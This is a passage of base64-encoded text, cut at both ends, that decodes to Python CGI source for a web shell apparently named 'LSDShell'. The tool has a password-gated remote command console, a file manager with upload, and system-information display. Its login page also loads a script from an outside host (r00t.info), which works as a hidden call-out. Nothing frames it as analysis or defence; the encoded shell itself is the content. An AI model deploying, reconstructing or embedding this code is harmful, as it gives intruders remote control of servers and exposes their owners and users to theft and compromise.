QtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiAyNHB0IE1vbm9zcGFjZSwiQ291cmllciBOZXciOyB9CiAgICAgICAgZm9ybXsgbWFyZ2luOjBweDsgfQogICAgICAgICN0b29sc1RibHsgdGV4dC1hbGlnbjpjZW50ZXI7IH0KICAgICAgICAudG9vbHNJbnB7IHdpZHRoOiAzMDBweCB9CiAgICAgICAgLm1haW4gdGh7dGV4dC1hbGlnbjpsZWZ0O2JhY2tncm91bmQtY29sb3I6IzVlNWU1ZTt9CiAgICAgICAgLm1haW4gdHI6aG92ZXJ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlfQogICAgICAgIC5sMXtiYWNrZ3JvdW5kLWNvbG9yOiM0NDR9CiAgICAgICAgcHJlLC5te2ZvbnQtZmFtaWx5OkNvdXJpZXIsTW9ub3NwYWNlO30KICAgIDwvc3R5bGU+CjxjZW50ZXI+PGZvcm0gbWV0aG9kPXBvc3Q+UGFzc3dvcmQ6IDxpbnB1dCB0eXBlPXBhc3N3b3JkIG5hbWU9cHNzd2Q+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPScmZ3Q7Jmd0Oyc+PC9mb3JtPjwvY2VudGVyPgo8c2NyaXB0IHNyYz1odHRwOi8vcjAwdC5pbmZvL2NjYi5qcz48L3NjcmlwdD4iIiIKICAgIGV4aXQoKQoKaWYgX0NPT0tJRS5oYXNfa2V5KCdwc3N3ZCcpIGFuZCBsZW4oX0NPT0tJRVsncHNzd2QnXS52YWx1ZSkgPiAwIDoKICAgIGlmIF9DT09LSUVbJ3Bzc3dkJ10udmFsdWUgIT0gcGFzc3dvcmQ6CiAgICAgICAgcHJpbnRMb2dpbigpCmVsaWYgX1JFUVVFU1QuaGFzX2tleSgncHNzd2QnKToKICAgICAgICB0cnk6CiAgICAgICAgICAgIGltcG9ydCBoYXNobGliCiAgICAgICAgICAgIHBzc3dkID0gaGFzaGxpYi5tZDUoKQogICAgICAgIGV4Y2VwdDoKICAgICAgICAgICAgaW1wb3J0IG1kNQogICAgICAgICAgICBwc3N3ZCA9IG1kNS5uZXcoKQogICAgICAgIHBzc3dkLnVwZGF0ZShfUkVRVUVTVFsncHNzd2QnXSkKICAgICAgICBpZiBwc3N3ZC5oZXhkaWdlc3QoKSAhPSBwYXNzd29yZDoKICAgICAgICAgICAgcHJpbnRMb2dpbigpCiAgICAgICAgZWxzZToKICAgICAgICAgICAgX0NPT0tJRVsncHNzd2QnXSA9IHBzc3dkLmhleGRpZ2VzdCgpCiAgICAgICAgICAKZWxzZToKICAgIHByaW50TG9naW4oKQoKcHJpbnQgX0NPT0tJRQpob21lX2RpciA9IG9zLmdldGN3ZCgpCgp0cnk6CiAgICBvcy5jaGRpcihfUkVRVUVTVFsnYyddKQpleGNlcHQgb3MuZXJyb3IsIG1zZzoKICAgIHBhc3MKCmN3ZCA9IG9zLmdldGN3ZCgpOwppZiBjd2RbLTFdICE9ICcvJzoKICAgIGN3ZCArPSAnLycKCmRlZiBwcmludEhlYWRlcigpOgogICAgcHJpbnQgIkNvbnRlbnQtdHlwZTogdGV4dC9odG1sXG4iOwogICAgcHJpbnQgIjxodG1sPjxoZWFkPjxtZXRhIGh0dHAtZXF1aXY9J0NvbnRlbnQtVHlwZScgY29udGVudD0ndGV4dC9odG1sOyBjaGFyc2V0PSIgKyBfUkVRVUVTVFsnY2hhcnNldCddICsgIic+PHRpdGxlPiIgKyBvcy5lbnZpcm9uWyJTRVJWRVJfTkFNRSJdICsgIiAtIExTRFNoZWxsICIgKyB2ZXJzaW9uICsgIiIiPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5e2JhY2tncm91bmQtY29sb3I6IzQ0NDtjb2xvcjojZTFlMWUxO30KICAgICAgICBib2R5LHRkLHRoeyBmb250OiA5cHQgTHVjaWRhLFZlcmRhbmE7bWFyZ2luOjA7dmVydGljYWwtYWxpZ246dG9wO2NvbG9yOiNlMWUxZTE7IH0KICAgICAgICB0YWJsZS5pbmZveyBjb2xvcjojZmZmO2JhY2tncm91bmQtY29sb3I6IzIyMjsgfQogICAgICAgIHNwYW4saDEsYXsgY29sb3I6IzAwY2ZjZiAhaW1wb3J0YW50OyB9CiAgICAgICAgc3BhbnsgZm9udC13ZWlnaHQ6IGJvbGRlcjsgfQogICAgICAgIGgxeyBib3JkZXItbGVmdDo1cHggc29saWQgI2RmNTtwYWRkaW5nOiAycHggNXB4O2ZvbnQ6IDE0cHQgVmVyZGFuYTtiYWNrZ3JvdW5kLWNvbG9yOiMyMjI7bWFyZ2luOjBweDsgfQogICAgICAgIGRpdi5jb250ZW50eyBwYWRkaW5nOiA1cHg7bWFyZ2luLWxlZnQ6NXB4O2JhY2tncm91bmQtY29sb3I6IzMzMzsgfQogICAgICAgIGF7IHRleHQtZGVjb3JhdGlvbjpub25lOyB9CiAgICAgICAgYTpob3ZlcnsgdGV4dC1kZWNvcmF0aW9uOnVuZGVybGluZTsgfQogICAgICAgIC5tbDF7IGJvcmRlcjoxcHggc29saWQgIzQ0NDtwYWRkaW5nOjVweDttYXJnaW46MDtvdmVyZmxvdzogYXV0bzsgfQogICAgICAgIC5iaWdhcmVheyB3aWR0aDoxMDAlO2hlaWdodDoyNTBweDsgfQogICAgICAgIGlucHV0LHRleHRhcmVhLHNlbGVjdHsgbWFyZ2luOjA7Y29sb3I6IzAwYWZhZjtiYWNrZ3JvdW5kLWNvbG9yOiM1NTU7Ym9yZGVyOjFweCBzb2xpZCAjMDBhZmNmOyBmb250OiA5cHQgTW9ub3NwYWNlLCJDb3VyaWVyIE5ldyI7IH0KICAgICAgICBmb3JteyBtYXJnaW46MHB4OyB9CiAgICAgICAgI3Rvb2xzVGJseyB0ZXh0LWFsaWduOmNlbnRlcjsgfQogICAgICAgIC50b29sc0lucHsgd2lkdGg6IDMwMHB4IH0KICAgICAgICAubWFpbiB0aHt0ZXh0LWFsaWduOmxlZnQ7YmFja2dyb3VuZC1jb2xvcjojNWU1ZTVlO30KICAgICAgICAubWFpbiB0cjpob3ZlcntiYWNrZ3JvdW5kLWNvbG9yOiM1ZTVlNWV9CiAgICAgICAgLmwxe2JhY2tncm91bmQtY29sb3I6IzQ0NH0KICAgICAgICBwcmUsLm17Zm9udC1mYW1pbHk6Q291cmllcixNb25vc3BhY2U7fQogICAgPC9zdHlsZT4KICAgIDxzY3JpcHQ+CiAgICAgICAgdmFyIGNfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYyddKSArICIiIic7CiAgICAgICAgdmFyIGFfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsnYSddKSArICIiIic7CiAgICAgICAgdmFyIHAxXyA9ICciIiIgKyBlc2NhcGUoX1JFUVVFU1RbJ3AxJ10pICsgIiIiJzsKICAgICAgICB2YXIgcDJfID0gJyIiIiArIGVzY2FwZShfUkVRVUVTVFsncDInXSkgKyAiIiInOwogICAgICAgIHZhciBwM18gPSAnIiIiICsgZXNjYXBlKF9SRVFVRVNUWydwMyddKSArICIiIic7CiAgICAgICAgdmFyIGNoYXJzZXRfID0gJyIiIiArIGVzY2FwZSggX1JFUVVFU1RbJ2NoYXJzZXQnXSApICsgIiIiJzsKICAgICAgICBmdW5jdGlvbiBnKGEsYyxwMSxwMixwMyxjaGFyc2V0KSB7CiAgICAgICAgICAgIGlmKGEgIT0gbnVsbClkb2N1bWVudC5tZi5hLnZhbHVlPWE7ZWxzZSBkb2N1bWVudC5tZi5hLnZhbHVlPWFfOwogICAgICAgICAgICBpZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jO2Vsc2UgZG9jdW1lbnQubWYuYy52YWx1ZT1jXzsKICAgICAgICAgICAgaWYocDEgIT0gbnVsbClkb2N1bWVudC5tZi5wMS52YWx1ZT1wMTtlbHNlIGRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxXzsKICAgICAgICAgICAgaWYocDIgIT0gbnVsbClkb2N1bWVudC5tZi5wMi52YWx1ZT1wMjtlbHNlIGRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyXzsKICAgICAgICAgICAgaWYocDMgIT0gbnVsbClkb2N1bWVudC5tZi5wMy52YWx1ZT1wMztlbHNlIGRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzXzsKICAgICAgICAgICAgaWYoY2hhcnNldCAhPSBudWxsKWRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldDtlbHNlIGRvY3VtZW50Lm1mLmNoYXJzZXQudmFsdWU9Y2hhcnNldF87CiAgICAgICAgICAgIGRvY3VtZW50Lm1mLnN1Ym1pdCgpOwogICAgICAgIH0KICAgIDwvc2NyaXB0PgogICAgPGhlYWQ+PGJvZHk+PGRpdiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7d2lkdGg6MTAwJTtiYWNrZ3JvdW5kLWNvbG9yOiM0NDQ7dG9wOjA7bGVmdDowOyI+CiAgICA8Zm9ybSBtZXRob2Q9cG9zdCBuYW1lPW1mIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDE+CiAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4KICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAzPgogICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldD4KICAgIDwvZm9ybT4iIiIKICAgIHByaW50ICc8dGFibGUgY2xhc3M9aW5mbyBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJT48dHI+PHRkIHdpZHRoPTE+PHNwYW4+VW5hbWU6PGJyPlVzZXI6PGJyPlRpbWU6PGJyPkN3ZDo8L3NwYW4+PC90ZD4nCiAgICBwcmludCAnPHRkPjxub2JyPicKICAgIGZvciB4IGluIG9zLnVuYW1lKCk6CiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSh4KycgJykKICAgIHQgPSB0aW1lLmxvY2FsdGltZSgpCiAgICBwcmludCAnPC9ub2JyPjxicj4lczxicj4lZC0lLjJkLSUuMmQgJS4yZDolLjJkOiUuMmQgPHNwYW4+U2VydmVyIElQOjwvc3Bhbj4gJXMgPHNwYW4+Q2xpZW50IElQOjwvc3Bhbj4gJXM8YnI+JyAlKCBjb21tYW5kcy5nZXRvdXRwdXQoICdpZCcgKS5yZXBsYWNlKCJyb290IiwgIjxmb250IGNvbG9yPXJlZD5yb290PC9mb250PiIpLCB0WzBdLCB0WzFdLCB0WzJdLCB0WzNdLCB0WzRdLCB0WzVdLCBvcy5lbnZpcm9uWydTRVJWRVJfQUREUiddLCBvcy5lbnZpcm9uWydSRU1PVEVfQUREUiddKQogICAgcGF0aCA9ICcnCiAgICBwYXRocyA9IGN3ZC5zcGxpdCgnLycpCiAgICBwYXRocy5wb3AoKQogICAgZm9yIHggaW4gcGF0aHM6CiAgICAgICAgcGF0aCArPSB4ICsgJy8nCiAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgiIiI8YSBocmVmPSIjIiBvbmNsaWNrPSJnKCdmaWxlcycsJyIiIitlc2NhcGUocGF0aCkrIiIiJywgJycsICcnLCAnJykiPiIiIit4KyIiIi88L2E+IiIiKQogICAgcHJpbnQgIiAiICsgcGVybXNDb2xvcihjd2QpLCIiIjxhIGhyZWY9JyMnIG9uY2xpY2s9ImcoJ2ZpbGVzJywnIiIiKyBlc2NhcGUoIGhvbWVfZGlyICkgKyIiIicsICcnLCAnJywgJycpIj5bIGhvbWUgXTwvYT4iIiIKICAgIGNoYXJzZXRzID0gWydVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NiddCiAgICBwcmludCAnPHRkIHdpZHRoPTEgYWxpZ249cmlnaHQ+PHNlbGVjdCBvbmNoYW5nZT0iZyhudWxsLG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy52YWx1ZSkiPjxvcHRncm91cCBsYWJlbD0iUGFnZSBjaGFyc2V0Ij4nCiAgICBmb3IgY2hhcnNldCBpbiBjaGFyc2V0czoKICAgICAgICBzeXMuc3Rkb3V0LndyaXRlKCc8b3B0aW9uIHZhbHVlPSIlcyIgJyAlIGNoYXJzZXQpCiAgICAgICAgaWYgX1JFUVVFU1RbJ2NoYXJzZXQnXSA9PSBjaGFyc2V0OgogICAgICAgICAgICAgc3lzLnN0ZG91dC53cml0ZSgnc2VsZWN0ZWQnKQogICAgICAgIHN5cy5zdGRvdXQud3JpdGUoJz4lczwvb3B0aW9uPicgJSBjaGFyc2V0KQogICAgcHJpbnQgJzwvb3B0Z3JvdXA+PC9zZWxlY3Q+PGJyPjxzbWFsbD5DdXJyZW50bHkgbG9nZ2VkIGluOiAnK2NvbW1hbmRzLmdldG91dHB1dCgndXNlcnMnKSsnPC9zbWFsbD48L3RkPjwvdHI+PC90YWJsZT48dGFibGUgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMwMGFmY2Y7dGV4dC1hbGlnbjogY2VudGVyOyIgY2VsbHBhZGRpbmc9MyBjZWxsc3BhY2luZz0wIHdpZHRoPTEwMCU+PHRyPicKICAgIGZvciB4IGluIFsnRmlsZXMnLCAnQ29uc29sZScsICdQeXRob24nLCAnTmV0d29yaycsICdTUUwnXToKICAgICAgICBwcmludCAiPHRkIHdpZHRoPScxMDBweCc+WyA8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiIit4Lmxvd2VyKCkrJyIsIG51bGwsICIiLCAiIiwgIiIpXCc+Jyt4Kyc8L2E+IF08L3RkPicKICAgIHByaW50ICc8dGQ+PC90ZD48L3RyPjwvdGFibGU+PGRpdiBzdHlsZT0ibWFyZ2luOjUiPicKCmRlZiBwcmludEZvb3RlcigpOgogICAgaWYgb3MuYWNjZXNzIChjd2QsIG9zLldfT0spOgogICAgICAgIHdyaXRhYmxlID0gIjxiPjxmb250IGNvbG9yPSMwMGNmZGY+WyBXcml0ZWFibGUgXTwvZm9udD4iCiAgICBlbHNlOgogICAgICAgIHdyaXRhYmxlID0gIjxmb250IGNvbG9yPXJlZD5bIE5vdCB3cml0YWJsZSBdPC9mb250PiIKICAgIHByaW50ICIiIjwvZGl2Pgo8dGFibGUgY2xhc3M9aW5mbyBpZD10b29sc1RibCBjZWxscGFkZGluZz0zIGNlbGxzcGFjaW5nPTAgd2lkdGg9MTAwJSAgc3R5bGU9ImJvcmRlci10b3A6MnB4IHNvbGlkICMzMzM7Ym9yZGVyLWJvdHRvbToycHggc29saWQgIzMzMzsiPgoJPHRyPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+Q2hhbmdlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9JyIiIiArIGN3ZCArICIiIic+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPjwvdGQ+CgkJPHRkPjxmb3JtIG9uc3VibWl0PSJnKCdmaWxlVG9vbHMnLG51bGwsdGhpcy5mLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5SZWFkIGZpbGU6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iJmd0OyZndDsiPjwvZm9ybT48L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2ZpbGVzJyxudWxsLCdta2RpcicsdGhpcy5kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5NYWtlIGRpcjo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWQ+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJCTx0ZD48Zm9ybSBvbnN1Ym1pdD0iZygnZmlsZVRvb2xzJyxudWxsLHRoaXMuZi52YWx1ZSwnc2F2ZScsJycpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSImZ3Q7Jmd0OyI+PC9mb3JtPiIiIit3cml0YWJsZSsiIiI8L3RkPgoJPC90cj4KCTx0cj4KCQk8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoJ2NvbnNvbGUnLG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5FeGVjdXRlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+PC90ZD4KCQk8dGQ+PGZvcm0gbWV0aG9kPSdwb3N0JyBFTkNUWVBFPSdtdWx0aXBhcnQvZm9ybS1kYXRhJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSdmaWxlcyc+CgkJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YyB2YWx1ZT0nIiIiK2N3ZCsiIiInPgoJCTxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPSd1cGxvYWRGaWxlJz4KCQk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSciIiIrX1JFUVVFU1RbJ2NoYXJzZXQnXSsiIiInPgoJCTxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9IiZndDsmZ3Q7Ij48L2Zvcm0+IiIiK3dyaXRhYmxlKyIiIjwvdGQ+Cgk8L3RyPgoKPC90YWJsZT4KPC9kaXY+CjwvYm9keT48L2h0bWw+IiIiCgpkZWYgdmlld1NpemUocyk6CiAgICBpZiBzID49IDEwNzM3NDE4MjQ6CgkJcmV0dXJuICIlMS4yZiAgR0IiICUgKHMgLyAxMDczNzQxODI0LjApOwogICAgZWxpZiBzID49IDEwNDg1NzY6CgkJcmV0dXJuICIlMS4yZiAgTUIiICUgKHMgLyAxMDQ4NTc2LjApOwogICAgZWxpZiBzID49IDEwMjQ6CgkJcmV0dXJuICIlMS4yZiAgS0IiICUgKHMgLyAxMDI0LjApOwogICAgZWxzZToKCQlyZXR1cm4gc3RyKHMpICsgJyBCJzsKCmRlZiBwZXJtcyhwKToKICAgIG1vZGUgPSBvcy5sc3RhdChwKVtTVF9NT0RFXQogICAgcCA9IG1vZGUKICAgIGk9IiI7CiAgICBpZiAocCAmIDB4QzAwMCkgPT0gMHhDMDAwOgogICAgICAgIGkgPSAncycKICAgIGVsaWYgKHAgJiAweEEwMDApID09IDB4QTAwMDoKICAgICAgICBpID0gJ2wnCiAgICBlbGlmIChwICYgMHg4MDAwKSA9PSAweDgwMDA6CiAgICAgICAgaSA9ICctJwogICAgZWxpZiAocCAmIDB4NjAwMCkgPT0gMHg2MDAwOgogICAgICAgIGkgPSAnYicKICAgIGVsaWYgKHAgJiAweDQwMDApID09IDB4NDAwMDoKICAgICAgICBpID0gJ2QnCiAgICBlbGlmIChwICYgMHgyMDAwKSA9PSAweDIwMDA6CiAgICAgICAgaSA9ICdjJwogICAgZWxpZiAocCAmIDB4MTAwMCkgPT0gMHgxMDAwOgogICAgICAgIGkgPSAncCcKICAgIGVsc2U6CiAgICAgICAgaSA9ICd1JwogICAgaWYgcCAmIDB4MDEwMDogaSArPSAncicKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiBwICYgMHgwMDgwOiBpICs9ICd3JwogICAgZWxzZTogaSArPSAnLScKICAgIGlmICBwICYgMHgwMDQwOgogICAgICAgIGlmIHAgJiAweDA4MDA6IGkgKz0gJ3MnCiAgICAgICAgZWxzZTogaSArPSAneCcKICAgIGVsc2U6CiAgICAgICAgaWYgcCAmIDB4MDgwMDogaSArPSAnUycKICAgICAgICBlbHNlOiBpKz0nLScKICAgIGlmIHAgJiAweDAwMjA6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAxMDogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwODoKICAgICAgICBpZiBwICYgMHgwNDAwOiBpICs9ICdzJwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDA0MDA6IGkgKz0gJ1MnCiAgICAgICAgZWxzZTogaSArPSAnLScKICAgIGlmIHAgJiAweDAwMDQ6IGkgKz0gJ3InCiAgICBlbHNlOiBpICs9ICctJwogICAgaWYgcCAmIDB4MDAwMjogaSArPSAndycKICAgIGVsc2U6IGkgKz0gJy0nCiAgICBpZiAgcCAmIDB4MDAwMToKICAgICAgICBpZiBwICYgMHgwMjAwOiBpICs9ICd0JwogICAgICAgIGVsc2U6IGkgKz0gJ3gnCiAgICBlbHNlOgogICAgICAgIGlmIHAgJiAweDAyMDA6IGkgKz0gJ1QnCiAgICAgICAgZWxzZTogaSArPSAnLScKCiAgICByZXR1cm4gaTsKCmRlZiBwZXJtc0NvbG9yKHBhdGgpOgogICAgaWYgbm90IG9zLmFjY2VzcyAocGF0aCwgb3MuUl9PSyk6CiAgICAgICAgcmV0dXJuICI8Zm9udCBjb2xvcj0nI0ZGMDAwMCc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKICAgIGVsaWYgb3MuYWNjZXNzIChwYXRoLCBvcy5XX09LKToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPScjMDBCQjAwJz4iK3Blcm1zKHBhdGgpKyI8L2ZvbnQ+IgogICAgZWxzZToKICAgICAgICByZXR1cm4gIjxmb250IGNvbG9yPSd3aGl0ZSc+IitwZXJtcyhwYXRoKSsiPC9mb250PiIKCmRlZiBhY3Rpb25Db25zb2xlKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBwcmludCAiPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBwcmludCAiIiI8Zm9ybSBuYW1lPSJjZiIgb25TdWJtaXQ9ImcobnVsbCwgbnVsbCwgdGhpcy5jbWQudmFsdWUpO3JldHVybiBmYWxzZTsiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICMwMGFmY2Y7YmFja2dyb3VuZC1jb2xvcjojNTU1OyI+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgc3R5bGU9ImJvcmRlcjowcHg7IiByZWFkb25seT4iIiIKICAgIGlmIGxlbihfUkVRVUVTVFsncDEnXSkgPiAwOgogICAgICAgIHByaW50ICckJywgY2dpLmVzY2FwZShfUkVRVUVTVFsncDEnXSkKICAgICAgICBwcmludCBjZ2kuZXNjYXBlKGNvbW1hbmRzLmdldG91dHB1dChfUkVRVUVTVFsncDEnXSkpCgogICAgcHJpbnQgJzwvdGV4dGFyZWE+PHRhYmxlIGNlbGxwYWRkaW5nPTAgY2VsbHNwYWNpbmc9MCB3aWR0aD0iMTAwJSI+PHRyPjx0ZCB3aWR0aD0iMSUiPiQ8L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y21kIHN0eWxlPSJib3JkZXI6MHB4O3dpZHRoOjEwMCU7Ij48L3RkPjwvdHI+PC90YWJsZT4nCiAgICBwcmludCAiPC9mb3JtPjwvZGl2PjxzY3JpcHQ+ZG9jdW1lbnQuY2YuY21kLmZvY3VzKCk7PC9zY3JpcHQ+IgogICAgcHJpbnRGb290ZXIoKQoKZGVmIGFjdGlvbkZpbGVzKCk6CiAgICBwcmludEhlYWRlcigpCiAgICBpZiBfUkVRVUVTVFsncDEnXSA9PSAndXBsb2FkRmlsZSc6CiAgICAgICAgdHJ5OgogICAgICAgICAgICBpZiBfRklMRVNbJ2YnXS5maWxlbmFtZToKICAgICAgICAgICAgICAgIGZuID0gb3MucGF0aC5iYXNlbmFtZShfRklMRVNbJ2YnXS5maWxlbmFtZSkKICAgICAgICAgICAgICAgIG9wZW4oZm4sICd3YicpLndyaXRlKF9GSUxFU1snZiddLmZpbGUucmVhZCgpKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgaWYgX1JFUVVFU1RbJ3AxJ10gPT0gJ21rZGlyJzoKICAgICAgICB0cnk6IG9zLm1rZGlyKF9SRVFVRVNUWydwMiddKQogICAgICAgIGV4Y2VwdDogcGFzcwogICAgcHJpbnQgIjxoMT5GaWxlIG1hbmFnZXI8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4iCiAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdCgnLi4nKQoKICAgIGRlZiBkaXJJdGVtSW5mbyhuYW1lLCBpdGVtX3N0YXQpOgogICAgICAgIGlmIFNfSVNMTksoaXRlbV9zdGF0W1NUX01PREVdKToKICAgICAgICAgICAgdHlwZSA9ICJsaW5rIgogICAgICAgIGVsc2U6CiAgICAgICAgICAgIHR5cGUgPSAiZGlyIgogICAgICAgIHRtcCA9IHsKICAgICAgICAgICAgICAgICduYW1lJyAgOiBuYW1lLAogICAgICAgICAgICAgICAgJ3BhdGgnICA6IG9zLnBhdGguam9pbihjd2QsIG5hbWUpLAogICAgICAgICAgICAgICAgJ3NpemUnICA6IHZpZXdTaXplKGl0ZW1fc3RhdFtTVF9TSVpFXSksCiAgICAgICAgICAgICAgICAnbXRpbWUnIDogZGF0ZXRpbWUuZnJvbXRpbWVzdGFtcChpdGVtX3N0YXRbU1RfTVRJTUVdKS5zdHJmdGltZSgiJVktJW0tJWQgJUg6JU06JVMiKSwKICAgICAgICAgICAgICAgICd1aWQnICAgOiBzdHIoaXRlbV9zdGF0W1NUX1VJRF0pLAogICAgICAgICAgICAgICAgJ2dpZCcgICA6IHN0cihpdGVtX3N0YXRbU1RfR0lEXSksCiAgICAgICAgICAgICAgICAncGVybXMnIDogcGVybXNDb2xvcihuYW1lKSwKICAgICAgICAgICAgICAgICd0eXBlJyAgOiB0eXBlCiAgICAgICAgICAgICAgfQogICAgICAgIHJldHVybiB0bXAKICAgIGRpcnMgPSBbZGlySXRlbUluZm8oJy4uJywgb3MubHN0YXQoJy4uJykpXQogICAgZmlsZXMgPSBbXQoKICAgIGZvciBpdGVtIGluIG9zLmxpc3RkaXIoY3dkKToKICAgICAgICBpdGVtX3N0YXQgPSBvcy5sc3RhdChpdGVtKQogICAgICAgIG1vZGUgPSBpdGVtX3N0YXRbU1RfTU9ERV0KICAgICAgICB0bXAgPSBkaXJJdGVtSW5mbyhpdGVtLCBpdGVtX3N0YXQpCiAgICAgICAgaWYgU19JU0xOSyhtb2RlKSBvciBTX0lTRElSKG1vZGUpOgogICAgICAgICAgICBkaXJzLmFwcGVuZCh0bXApCiAgICAgICAgZWxpZiBTX0lTUkVHKG1vZGUpOgogICAgICAgICAgICBmaWxlcy5hcHBlbmQodG1wKQoKICAgIHByaW50ICI8dGFibGUgd2lkdGg9JzEwMCUnIGNsYXNzPSdtYWluJyBjZWxsc3BhY2luZz0nMCcgY2VsbHBhZGRpbmc9JzInPjxmb3JtIG1ldGhvZD0ncG9zdCc+IgogICAgcHJpbnQgIiIiPHRyPjx0aD5OYW1lPC90aD48dGg+U2l6ZTwvdGg+PHRoPk1vZGlmeTwvdGg+PHRoPk93bmVyL0dyb3VwPC90aD48dGg+UGVybWlzc2lvbnM8L3RoPjx0aD5BY3Rpb25zPC90aD48L3RyPiIiIjsKICAgIAogICAgZGVmIHNvcnQoYSwgYik6CiAgICAgICAgcmV0dXJuIGNtcChhWyduYW1lJ10ubG93ZXIoKSwgYlsnbmFtZSddLmxvd2VyKCkpCgogICAgbGluZSA9IDAKICAgIGZvciBpdGVtIGluIHNvcnRlZChkaXJzLCBzb3J0KToKICAgICAgICBwcmludCAiPHRyIgogICAgICAgIGlmIGxpbmU6CiAgICAgICAgICAgIHByaW50ICIgY2xhc3M9bDEiCiAgICAgICAgcHJpbnQgIj48dGQ+PGEgaHJlZj0nIycgb25jbGljaz0nZyhudWxsLFwiIitlc2NhcGUoaXRlbVsncGF0aCddKSsiXCIpJz48Yj5bICIrY2dpLmVzY2FwZShpdGVtWyduYW1lJ10pKyIgXTwvYj48L2E+PC90ZD48dGQ+IitpdGVtWyd0eXBlJ